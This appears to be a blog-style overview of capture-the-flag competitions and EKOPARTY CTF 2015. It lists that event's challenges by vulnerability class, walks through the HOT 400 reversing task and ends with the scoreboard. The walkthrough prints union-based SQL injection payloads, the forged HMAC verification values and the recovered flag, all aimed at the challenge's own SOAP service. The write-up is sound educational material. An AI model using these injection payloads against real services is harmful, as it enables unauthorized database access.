More than a simple game

Competition, types, and resources

• Fun while learning.
• Legally prepared environments ready to be hacked; you are authorized to test the problems.
• Recognition and use of multiples paths to solve a problem.
• Understanding of specialized attacks which are not usually detectable or exploitable by common tools.
• Free participation, typically.
• Good recruiting tool for information security companies.

1. CTFs (Capture the Flag) are restricted by time:
   1. Jeopardy: Problems are distributed in multiple categories which must be solved separately. The most common categories are programming, computer and network forensics, cryptography, reverse engineering, exploiting, web application security, and mobile security.
   2. Attack – defense: Problems are distributed across vulnerable services which must be protected on the defended machine and exploited on remote machines. It is the kind of competition that provides mostly a vulnerable infrastructure.
2. Wargames are not restricted by time and may have the two subtypes above.

• CTFs database
• Wargames database

• CTFs github repository
  

EKOPARTY CTF 2015

1. Trivia problems: questions about EKOPARTY.
2. Web application security: multiple web application attacks.
3. Cryptography: classical and modern encryption.
4. Reversing: problems with the use of different technologies and architectures.
5. Exploiting: vulnerable binaries with known protections.
6. Miscellaneous: forensic and programming tasks.

Category	Task	Score	Description and references
Trivia	Trivia problems	~	Specific questions related to EKOPARTY
Web	Pass Chek	50	PHP strcmp unsafe comparison using an array Type Juggling
	Custom ACL	100	ACL bypass using external host
	Crazy JSON	300	Esoteric programming language with string encryption JSON esoteric programming language
	Rand DOOM	400	Insecure use of mt_rand, recover administrator token via seed leak PRNG seed leak PHP mt_rand seed cracker
	SVG Viewer	500	XXE injection with UTF-16 bypass and use of PHP strip_tags vulnerability to disclose source code XXE injection UTF-16 bypass PHP strip_tags bug
Crypto	SCYTCRYPTO	50	Scytale message decryption Scytale
	Weird Vigenere	100	Kasiski analysis over modified vigenere Beaufort cipher
	XOR Crypter	200	XOR shift message decryption Reversing shift XOR operation
	VBOX DIE	300	VBOX encrypted disk password recovery VirtualBox Disk Image Encryption password cracking
	Break the key	400	Use of CVE-2008-0166 to get the plaintext from an encrypted message CVE-2008-0166
Reversing	Patch me	50	MSIL code patching
	Counter	100	Dynamic analysis of a llvm obfuscated binary
	Malware	200	Break RSA key to send malicious code to the C&C server
	Dreaming	300	SH4 binary
	HOT	400	Blackberry Z10 application and exploitation of a SQL injection which was protected through a modified HMAC algorithm
	Backdoor OS	500	Custom kernel where you need to find the backdoor authentication key
Exploiting	Baby pwn	50	Buffer overflow with restricted input format
	Frequency	100	BSS buffer overflow with a directory traversal which leaks data from files through character frequencies
	OTaaS	200	ARM syscall override which leaks information if appropriate parameters are passed
	File Manager	300	Stack based buffer overflow produced by strncat while listing files inside a folder, need to bypass multiple protections such as ASLR, NX, PIE, and FULL RELRO
Miscellaneous	Olive	50	VNC client key event recovery VNC KeyEvent
	Press it	100	Scancodes recognition Key Scan Codes
	Onion	200	Use of CVE-2015-7665 to leak user’s IP CVE-2015-7665
	Poltergeist	300	AM frequencies generator using screen waves Tempest

Example of reversing problem – HOT 400 points

1. The main execution flow starts within the requestWeatherInformation method from WeatherService class, and city zipcode is its unique argument. It is converted from QString to QByteArray for further processing:

2. QByteArray key is filled with a loop, key[i] = i:

3. Then a message authentication code is calculated using the key and zipcode MAC(key, zipcode):

4. The binary is using a slightly modified version of HMAC-SHA1 as a message authentication code, and outer and inner padding are now 0x13 and 0x37 respectively (instead of 0x5c and 0x36):

   

5. Then a SOAP message is built using the following data:
   • Host: ctfchallenges.ctf.site
   • Port: 10000
   • Action: http://ctfchallenges.ctf.site:1000/ekoweather/GetCityWeatherByZIP (no longer active)
   • Argument 1: ZIP
   • Argument 2: verification

1. Zip argument is vulnerable to SQL injection.
2. Description is always trimmed to 16 chars.

• ZIP: -1 or 1=1– –
• verification: biNa0y7ngymXd6kbGMmNhOYiNQM=

• Success: true
• ResponseText: City Found
• Description: EKO{r3v_with_web

• ZIP: -1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14– –
• verification: B2LDiOPSSCOCK0tJvidyyo1d1HI=

• Success: true
• ResponseText: City Found
• Description: 7

• ZIP: -1 union select 1,2,3,4,5,6,substr(description,16),8,9,10,11,12,13,14 from data where zipcode != 1010 and zipcode != 1337– –
• verification: r7WuMbNcbvncnJc8HwKnqM4q9kA=

• Success: true
• ResponseText: City Found
• Description: b_is_the_best!}

Some numbers

1. Trivia challenges often involves guessing; failed attempts are higher on trivia problems.
2. The most difficult problems contain fewer failed attempts, and the number of solves are somehow proportional to failed attempts.
3. In this CTF, reversing and exploiting were the most difficult problems.

Scoreboard

1. More Smoked Leet Chicken, from Russia, who led during the competition!
2. !SpamAndHex, from Hungary.
3. samurai, from United States.
4. Shellphish, from United States.
5. SecuritySignal, local winner from Argentina.